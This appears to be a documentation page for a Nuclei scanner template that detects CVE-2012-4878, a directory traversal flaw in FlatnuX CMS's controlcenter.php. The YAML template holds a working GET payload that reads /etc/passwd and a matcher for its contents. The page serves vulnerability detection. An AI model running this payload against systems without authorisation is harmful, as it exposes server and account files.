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FlatnuX CMS - Directory Traversal

ID: CVE-2012-4878

Severity: medium

Author: daffainfo

Tags: cve,cve2012,lfi,traversal,edb,packetstorm,flatnux,xss

Description

Section titled “Description”

A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.

YAML Source

Section titled “YAML Source”
id: CVE-2012-4878


info:
  name: FlatnuX CMS - Directory Traversal
  author: daffainfo
  severity: medium
  description: A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FlatnuX CMS.
  reference:
    - https://www.exploit-db.com/exploits/37034
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4878
    - http://www.vulnerability-lab.com/get_content.php?id=487
    - http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74568
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-4878
    cwe-id: CWE-22
    epss-score: 0.00537
    epss-percentile: 0.7717
    cpe: cpe:2.3:a:flatnux:flatnux:2011-08-09-2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flatnux
    product: flatnux
  tags: cve,cve2012,lfi,traversal,edb,packetstorm,flatnux,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502205efff99d4a43eeacaaf975a4affb4822ab886b61b125f94e213817a4062fd7680221009a23e4e1bba3bcf11fc5499838f8c28a497df641a877da5d97e948665e41a0e3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-4878.yaml"

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